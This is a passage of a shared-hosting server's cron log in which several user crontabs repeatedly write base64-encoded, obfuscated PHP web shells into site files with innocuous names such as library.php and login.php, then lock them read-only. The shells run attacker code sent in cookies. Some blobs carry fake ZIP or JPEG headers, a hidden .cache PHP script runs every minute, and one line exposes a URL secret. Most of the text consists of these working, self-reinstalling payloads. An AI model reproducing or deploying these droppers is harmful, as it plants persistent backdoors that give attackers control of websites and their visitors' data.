Myi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:57:01 medusa CROND[29612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:57:01 medusa CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:57:01 medusa CROND[29617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:57:01 medusa CROND[29618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:57:01 medusa CROND[29619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:57:01 medusa CROND[29620]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:57:01 medusa CROND[29621]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:57:01 medusa CROND[29622]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:57:01 medusa CROND[29623]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:57:01 medusa CROND[29626]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:57:01 medusa CROND[29625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:57:01 medusa CROND[29639]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:58:01 medusa CROND[20244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:58:01 medusa CROND[20252]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:58:01 medusa CROND[20263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:58:01 medusa CROND[20297]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 11:58:02 medusa CROND[20348]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:58:02 medusa CROND[20349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:58:02 medusa CROND[20350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:58:02 medusa CROND[20358]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:58:02 medusa CROND[20363]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:58:02 medusa CROND[20364]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:58:02 medusa CROND[20365]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:58:02 medusa CROND[20366]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:58:02 medusa CROND[20367]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:58:02 medusa CROND[20370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:59:01 medusa CROND[10521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:59:01 medusa CROND[10546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:59:01 medusa CROND[10547]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:59:01 medusa CROND[10548]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:59:01 medusa CROND[10549]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:59:01 medusa CROND[10551]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 